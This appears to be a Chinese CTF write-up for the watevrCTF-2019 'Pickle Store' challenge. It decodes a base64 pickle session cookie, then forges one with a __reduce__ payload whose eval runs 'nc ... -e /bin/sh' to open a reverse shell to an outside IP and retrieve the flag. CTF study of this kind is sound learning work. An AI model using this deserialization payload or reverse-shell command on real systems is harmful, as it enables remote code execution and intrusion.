Buu [watevrCTF-2019]Pickle Store

[watevrCTF-2019]Pickle Store

知识点:
  • python反序列化
  • 反弹shell
题解:

看到题目环境,买东西 -> 伪造Session, 随便买一个抓包,看到Session数据,并不是jwt校验

看到后面有= -> 尝试base64解码

在这里插入图片描述

还是有乱码,但是存在最后的一个哈希加密的数据 和前面买过的商品记录

我其实注意到了题目pickle(python反序列化),但是对这种数据不敏感,没想到套了一层base64加密

所以,先base64解码,再pickle反序列化得到明文

import base64
import pickle

print(pickle.loads(base64.b64decode('gAN9cQAoWAUAAABtb25leXEBTXIBWAcAAABoaXN0b3J5cQJdcQMoWBUAAABZdW1teSBzdGFuZGFyZCBwaWNrbGVxBFgUAAAAWXVtbXkgc23DtnJnw6VzZ3Vya2FxBVgVAAAAWXVtbXkgc3RhbmRhcmQgcGlja2xlcQZYFQAAAFl1bW15IHN0YW5kYXJkIHBpY2tsZXEHZVgQAAAAYW50aV90YW1wZXJfaG1hY3EIWCAAAAA2N2E2YzBjNjA2YjRlODczNTI0ZTQ5NzI5NmJlYTEwZHEJdS4=')))
-> {'money': 370, 'history': ['Yummy standard pickle', 'Yummy smörgåsgurka', 'Yummy standard pickle', 'Yummy standard pickle'], 'anti_tamper_hmac': '67a6c0c606b4e873524e497296bea10d'}  

最后这个哈希值,起的肯定是校验作用,如何去破解?我不会了,去搜了wp,说是这个题可以直接通过 python反序列化,上传一个反弹shell的payload,不需要管这个校验(不懂)

python反弹shell的exp: — 需要公网ip,我看wp说是用小号在Buu开了一个什么东西,应该有些题会随机给出ip,可以去看看

import base64
import pickle


class A(object):
    def __reduce__(self):
        return (eval, ("__import__('os').system('nc 114.55.129.236 9999 -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))

在网页中直接F12,修改Cookie中的值然后刷新即可

当前目录下就有flag文件

总结:

注意python反序列化的使用,pickle库,load反序列化,dump序列化

参考:

注意python反序列化的使用,pickle库,load反序列化,dump序列化

参考:

https://blog.csdn.net/mochu7777777/article/details/107589233

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值